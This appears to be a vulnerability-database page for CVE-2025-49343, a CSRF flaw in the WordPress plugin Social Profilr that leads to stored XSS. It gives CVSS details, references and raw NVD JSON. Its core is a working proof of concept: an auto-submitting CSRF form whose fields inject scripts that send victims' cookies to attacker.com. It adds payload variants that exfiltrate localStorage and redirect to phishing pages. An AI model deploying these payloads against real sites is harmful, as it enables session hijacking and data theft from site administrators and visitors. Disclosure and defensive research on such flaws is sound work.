CVE-2025-49343

Description

Cross-Site Request Forgery (CSRF) vulnerability in socialprofilr Social Profilr social-profilr-display-social-network-profile allows Stored XSS.This issue affects Social Profilr: from n/a through <= 1.0.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Social Profilr <= 1.0 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-49343 - Stored XSS via Social Profilr -->
<html>
  <body>
    <h2>CSRF Attack - Social Profilr Stored XSS</h2>
    <p>诱骗已登录用户提交恶意资料数据</p>
    
    <form action="http://target-site/wp-admin/admin-post.php" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="action" value="social_profilr_save">
      <input type="hidden" name="facebook_url" value='"><script>alert(document.cookie)</script><x y="'>
      <input type="hidden" name="twitter_url" value='"><script>fetch("https://attacker.com/steal?c="+btoa(document.cookie))</script><x y="'>
      <input type="hidden" name="linkedin_url" value='"><script>document.location="https://attacker.com/phishing?"+document.cookie</script><x y="'>
      <input type="hidden" name="instagram_url" value='<img src=x onerror="fetch(\'https://attacker.com/log?data=\'+btoa(document.cookie))\'>">'>
      <input type="hidden" name="nonce" value="">
      <input type="hidden" name="_wp_http_referer" value="/wp-admin/admin.php?page=social-profilr">
      
      <input type="submit" value="Submit Malicious Request">
    </form>
    
    <script>
      // Auto-submit form when page loads
      document.forms[0].submit();
    </script>
  </body>
</html>

<!-- 存储型XSS有效载荷变体 -->
<!-- 1. 会话劫持 -->
<script>
  fetch('https://attacker.com/collect?cookie='+encodeURIComponent(document.cookie));
</script>

<!-- 2. 管理员权限滥用 -->
<script>
  fetch('https://attacker.com/exfiltrate?data='+btoa(JSON.stringify(window.localStorage)));
</script>

<!-- 3. 恶意重定向 -->
<img src=x onerror="window.location.href='https://malicious-site.com/phishing';">

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-49343
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-49343
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-49343/
[4] VulDB https://vuldb.com/cve/CVE-2025-49343
[5] https://patchstack.com/database/Wordpress/Plugin/social-profilr-display-social-network-profile/vulnerability/wordpress-social-profilr-plugin-1-0-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-49343", "sourceIdentifier": "[email protected]", "published": "2025-12-31T06:15:40.677", "lastModified": "2026-04-23T15:31:30.190", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in socialprofilr Social Profilr social-profilr-display-social-network-profile allows Stored XSS.This issue affects Social Profilr: from n/a through <= 1.0."}, {"lang": "es", "value": "Vulnerabilidad de falsificación de petición en sitios cruzados (CSRF) en Socialprofilr Social Profilr permite XSS almacenado. Este problema afecta a Social Profilr: desde n/a hasta 1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/social-profilr-display-social-network-profile/vulnerability/wordpress-social-profilr-plugin-1-0-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}